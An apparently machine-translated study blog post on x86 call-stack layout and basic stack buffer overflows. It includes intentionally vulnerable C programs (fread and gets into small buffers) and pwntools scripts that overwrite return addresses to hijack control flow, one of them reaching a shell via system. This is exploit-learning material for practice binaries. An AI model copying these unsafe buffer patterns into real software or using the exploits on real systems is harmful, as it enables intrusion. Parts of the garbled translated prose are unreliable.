1, the most simple function call stack is shown below (vc ++ 6.0 to compile the assembly code):
push 2, push 1 push the two arguments,
Call 0040100A: eip the next instruction to be executed onto the stack in the implementation 0040100A jmp
ebp the Push: push ebp, retaining bottom of the stack before calling
mov ebp, esp lifting the stack
sub ESP, 40 lift the stack
push ebx; push esi; push edi reserved field
mov ecx, 0x10 following four buffers are filled
MOV EAX, 0xCCCCCCCC
LEA EDI, DWORD PRTF DS: [EBP-0x40]
REP stosd
further down is the calling function process, generally the function return value into the eax register, there is not written a
pop edi site restoration
POP ESI
POP EBX
MOV ESP, EBP leave instruction execution corresponds to the following two: reduce stack
POP EBP
RET // POP EIP quite to eip: 401171 i.e. the original call stack address corresponding to the actual stack overflow, not a control function of the buffer size, which is equivalent to a local variable CCCCCCC covered filled buffer is full, and the ebp and ebp + 4 is also the function returns the address to the cover, when executed ret => pop eip, eip = ebp + 4, to control the flow of program execution
and finally to balance the stack, will esp + 8, the two parameters want to exit the stack.
2, gcc compiler function call stack as follows :
assembly code
with vc ++ 6.0 compiler ratio, equivalent to less reserved ebx, esi, the value of edi register, and fill the buffer CCCCCCCCC action
last difference is with the leave implementation and ret end , eax save operation results.
3, the multilayer nested function
4, the last stack overflow demo
#include <stdio.h>
#include <stdlib.h>
void vul()
{
char buf[64] = {0};
FILE *fp = NULL;
if(!(fp=fopen("input.txt","r")))
{
perror("fopen");
exit(-1);
}
fread(buf,1024,1,fp);
printf("data:%s\n",buf);
}
void test()
{
printf("contronl this data flow!!!\n");
}
int main()
{
vul();
return 0;
}
The purpose is to perform the test function overflow, 1, first determine the size of the buffer overflow, the IDA 4CH view,
view test function addresses ida
or gdb test function addresses to find
the final exp follows:
Stack FIG follows, RET, when executed, will pop eip, At this point the test function esp address will execute the test function, hijacking data stream.
A breakpoint before ret, see the top of the stack is stored in 0x80485a2 is the first address test function
gdb StackOverflow3
b vul
r
disassemble
b fread
c
finish
p &buff
x /10wx &buf
b *0x080485a1
In ret function function off, after executing ret => pop eip, eip will be assigned 0x80485a2 it is the test function address.
This time it came to the test data stream function
ultimate effect is this:
if the normal execution of the order, after executing the ret, eip will provide 0x80485d1, proceed down:
5, in the demo to see another stack overflow
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
Determine buffer size:
determines success Address:
writing Poc, attach a function of position in the ret address:
import pwn
pwn.context.log_level = 'DEBUG'
pwn.context.terminal = ['tmux','splitw','-h']
t = pwn.process('./StackOverflow1')
pwn.gdb.attach(t, "b * 0x0804847a")
t.sendline('a'*20+'bbbb'+pwn.p32(0x0804843B))
t.interactive()
View breakpoint in pwndbg in.
c continue.
When executed, ret => pop eip => eip on the success of the address, the next step is to perform a function of success.
The above is pwntools binding demo off under pwndbg debugging, may always be used later in
the above both a demo is relatively simple, the actual size of the padding data, is to find the function before performing dangerous, s ebp relative to the size of the above example is two can be found directly from the IDA, the following look at this demo.
Esp here is a relative address, so at break gets function. Calculating esp = 0xffffd520, ebp = 0xffffd5a8, s esp index with respect to [esp + 80h-64h] = [esp + 0x1c], s address so as 0xffffd53c, s is offset relative ebp 6c = 108 + "bbbb"
The following is looking for system calls. Search in IDA (alt + T) may be utilized to call the function sh system
exp:
from pwn import *
pwn1 = process('./pwn1')
target = 0x804863a
pwn1.sendline('A' * (108)+'bbbb' + p32(target))
pwn1.interactive()
Tomorrow Learning Program: ret2libc and rop, ELF file structure
stack overflow protection canary protection, CTF-wiki a little difficult to understand, as well as format string vulnerability, need to hand-tune content at this link: https://bbs.pediy.com/ 229447-1.htm-the Thread
https://bbs.pediy.com/thread-229447-1.htm
mainly to see the article: https://www.freebuf.com/news/182894.html
HTTPS: // ctf- wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2libc
https://bbs.pediy.com/thread-248682.htm